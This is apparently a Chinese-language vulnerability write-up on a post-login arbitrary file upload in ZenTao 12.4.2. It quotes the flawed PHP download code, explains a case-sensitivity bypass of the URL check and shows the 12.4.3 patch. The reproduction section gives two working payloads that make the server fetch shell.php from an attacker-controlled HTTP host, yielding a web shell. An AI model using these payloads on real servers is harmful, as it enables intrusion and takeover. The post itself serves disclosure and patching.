漏洞详情
禅道项目管理软件12.4.2版本存在后台任意文件上传漏洞
禅道已在12.4.3版本中修复该漏洞。
代码审计
对比12.4.2与12.4.3的源代码发现/module/client/ext/model/xuanxuan.php路径增加了文件上传后缀的限制。

找到12.4.2版本中的对应文件,通过base64解码link,之后正则匹配是否有http(s)://(因为没有匹配大小写,利用可使用HTTP绕过),如果存在就返回false,检查无误会调用父类中的downloadZipPackage函数。

找到父类定义的函数/module/client/model.php中的downloadZipPackage,这个函数通过fopen远程打开$link链接的文件内容,并写入/www/data/client/$version/路径中。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 
 | 
 
 
 
 
 public function downloadZipPackage($version, $link)
 {
 ignore_user_abort(true);
 set_time_limit(0);
 if(empty($version) || empty($link)) return false;
 $dir  = "data/client/" . $version . '/';
 $link = helper::safe64Decode($link);
 $file = basename($link);
 if(!is_dir($this->app->wwwRoot . $dir))
 {
 mkdir($this->app->wwwRoot . $dir, 0755, true);
 }
 if(!is_dir($this->app->wwwRoot . $dir)) return false;
 if(file_exists($this->app->wwwRoot . $dir . $file))
 {
 return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
 }
 ob_clean();
 ob_end_flush();
 
 $local  = fopen($this->app->wwwRoot . $dir . $file, 'w');
 $remote = fopen($link, 'rb');
 if($remote === false) return false;
 while(!feof($remote))
 {
 $buffer = fread($remote, 4096);
 fwrite($local, $buffer);
 }
 fclose($local);
 fclose($remote);
 return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
 }
 
 | 
查找downloadZipPackage函数的调用,在/module/client/control.php文件download函数中存在调用。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | 
 
 
 
 
 
 public function download($version = '', $link = '', $os = '')
 {
 set_time_limit(0);
 $result = $this->client->downloadZipPackage($version, $link);
 if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail));
 $client = $this->client->edit($version, $result, $os);
 if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError));
 $this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse')));
 }
 
 | 
接着就是找对应的函数入口,对禅道的路由解析做分析,framework/base/router.class.php的setRouteByGET函数中将get请求中的数据按照config中对应的字段解析成模块名和方法名。

之后是方法的传参,framework/base/router.class.php中的loadModule函数,将方法中存在的参数提取出来,储存变量$defaultParams中

然后通过setParamsByGET函数将$defaultParams和$_GET中的变量合并,存入$this->params中

最后通过call_user_func_array(array($module, $methodName), $this->params);调用方法。
漏洞复现
根据上面的分析,可以确定漏洞的入口为m=client&f=download,然后就是构造download函数的参数。
$version参数可以随便填写,和最后的路径相关。
起一个http服务用来放我们要上传的文件,$link参数需要用HTTP绕过正则匹配,然后base64编码。

最后的payload为m=client&f=download&version=233&link=SFRUUDovLzE5Mi4xNjguMTI4LjIvc2hlbGwucGhw


访问/www/data/233/shell.php即可getshell。

漏洞修复
(升级12.4.3版本=。=
若无法升级,可以参考12.4.3版本代码,
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | public function downloadZipPackage($version, $link){
 $decodeLink = helper::safe64Decode($link);
 if(!preg_match('/^https?\:\/\//', $decodeLink)) return false;
 
 $file      = basename($link);
 $extension = substr($file, strrpos($file, '.') + 1);
 if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false;
 
 return parent::downloadZipPackage($version, $link);
 }
 
 | 
总结(吐槽
总体来讲是一次简单的代码审计,这次的漏洞的功能点是客户端下载功能没有做好过滤,导致可以远程下载任意文件,但是这个功能点反倒不能正常使用。。。。
在后台客户端更新当中,url是从更新api获取的,http://xxxxxxx,因为有http://所以在12.4.2版本中是无法使用的,会被正则匹配到,返回false。
在12.4.3版本中正则判断加了取反,但是在下面后缀名匹配的时候,直接用了$link变量,而$link是base64编码之后的url,取后缀只能取到base64的字符串,怎么样都过不去后缀检测。。。
其他入口
看漏洞预警时发现漏洞入口不太一样,后来看到禅道 <= 12.4.2 后台文件上传漏洞(CNVD-C-2020-121325),发现禅道还有另一套路由机制,/framework/router.class.php->setFlowURI(),可以通过/model-function-params-1.html的方式来访问相应的模块方法。即payload为/client-download-233-SFRUUDovLzE5Mi4xNjguMTI4LjIvc2hlbGwucGhw-1.html